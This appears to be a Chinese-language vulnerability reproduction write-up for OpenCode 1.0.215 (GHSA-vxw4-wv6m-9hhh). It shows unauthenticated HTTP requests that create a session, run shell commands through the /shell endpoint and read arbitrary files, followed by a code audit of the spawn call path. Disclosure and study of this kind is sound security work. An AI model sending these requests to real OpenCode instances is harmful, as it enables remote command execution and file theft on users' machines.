OpenCode漏洞复现(GHSA-vxw4-wv6m-9hhh)
最近火爆的OpenCode,就是那个开源的Claude Code替代品,最近爆出了一个新的CVE漏洞。
漏洞概述
漏洞编号: GHSA-vxw4-wv6m-9hhh
影响版本: OpenCode 1.0.215及以下
漏洞类型: 远程命令执行(RCE) + 任意文件读取
危害等级: 严重
官方安全公告: https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh
环境搭建
我们这里采用1.0.215版本进行漏洞复现:
# 初始化项目npm init -y
# 安装漏洞版本npm i opencode-ai@1.0.215
# 启动服务node_modules/.bin/opencode不得不说,opencode的UI确实很好看 👍
漏洞复现
1. RCE (远程命令执行)
步骤1: 获取会话ID
首先通过无鉴权的接口创建会话:
curl -s -X POST http://127.0.0.1:4096/session -H "Content-Type: application/json" -d "{}"响应结果:
{ "id":"ses_4386ff31fffeP7CTCc2oDn2mwu", "version":"1.0.215", "projectID":"global", "directory":"C:\\Users\\bx336\\Documents\\skills\\cve", "title":"New session - 2026-01-16T16:07:45.120Z", "time":{ "created":1768579665120, "updated":1768579665120 }}步骤2: 检查CORS配置
curl -I -X OPTIONS http://127.0.0.1:4096/session响应头:
HTTP/1.1 204 No ContentAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET,HEAD,PUT,POST,DELETE,PATCHDate: Fri, 16 Jan 2026 16:08:30 GMTContent-Length: 0可以看到 Access-Control-Allow-Origin: *,允许任意源访问,这为攻击提供了便利。
步骤3: 执行任意命令
使用获取到的会话ID执行系统命令:
POST /session/ses_4386ff31fffeP7CTCc2oDn2mwu/shell HTTP/1.1Host: 127.0.0.1:4096User-Agent: curl/7.88.1Accept: */*Content-Type: application/jsonContent-Length: 35Connection: close
{"agent":"build","command":"whoami"}列出目录:
{"agent":"build","command":"ls"}2. 任意文件读取
OpenCode还存在任意文件读取漏洞,攻击者可以读取服务器上的任意文件:
GET /file/content?path=package.json HTTP/1.1Host: 127.0.0.1:4096User-Agent: curl/7.88.1Accept: */*Connection: close响应结果:
HTTP/1.1 200 OKAccess-Control-Allow-Origin: *Content-Type: application/jsonDate: Fri, 16 Jan 2026 16:21:53 GMTContent-Length: 95
{"type":"text","content":"{\n \"dependencies\": {\n \"opencode-ai\": \"^1.0.215\"\n }\n}"}代码审计分析
纵观整个代码,核心问题就是没有对用户输入进行任何限制和处理。
RCE 漏洞链路分析
| 环节 | 代码位置 | 说明 |
|---|---|---|
| 路由入口 | packages/opencode/src/server/server.ts:1407 | /session/:sessionID/shell 仅参数校验,无鉴权中间件 |
| 调用链 | packages/opencode/src/server/server.ts:1434 | 直接调用 SessionPrompt.shell |
| 命令输入 | packages/opencode/src/session/prompt.ts:1046 | ShellInput.command 定义为 string |
| 进程启动 | packages/opencode/src/session/prompt.ts:1181 | 直接使用 spawn(shell, args, ...) 执行命令 |
1. 路由入口(未鉴权)
文件: packages/opencode/src/server/server.ts:1407
.post( "/session/:sessionID/shell", describeRoute({ summary: "Run shell command" }), validator("param", z.object({ sessionID: z.string() })), validator("json", SessionPrompt.ShellInput.omit({ sessionID: true })), async (c) => { const sessionID = c.req.valid("param").sessionID const body = c.req.valid("json") const msg = await SessionPrompt.shell({ ...body, sessionID }) return c.json(msg) },)问题分析:
- ❌ 没有任何身份验证机制
- ❌ 没有访问控制检查
- ❌ 直接接收并处理用户输入
2. 命令输入定义
文件: packages/opencode/src/session/prompt.ts:1046
export const ShellInput = z.object({ sessionID: Identifier.schema("session"), agent: z.string(), model: z.object({ providerID: z.string(), modelID: z.string() }).optional(), command: z.string(),})问题分析:
- 使用
zod库定义了ShellInput的结构 command: z.string()仅保证输入是字符串- 没有对字符串内容进行任何过滤或验证
3. 命令执行
文件: packages/opencode/src/session/prompt.ts:1181
const matchingInvocation = invocations[shellName] ?? invocations[""]const args = matchingInvocation?.args
const proc = spawn(shell, args, { cwd: Instance.directory, detached: process.platform !== "win32", stdio: ["ignore", "pipe", "pipe"], env: { ...process.env, TERM: "dumb" },})问题分析:
- 代码使用 Node.js 的
child_process.spawn启动进程 - 命令在
Instance.directory目录下运行 - 用户输入的命令直接被执行,没有任何安全检查
- 继承了父进程的环境变量
参考资料: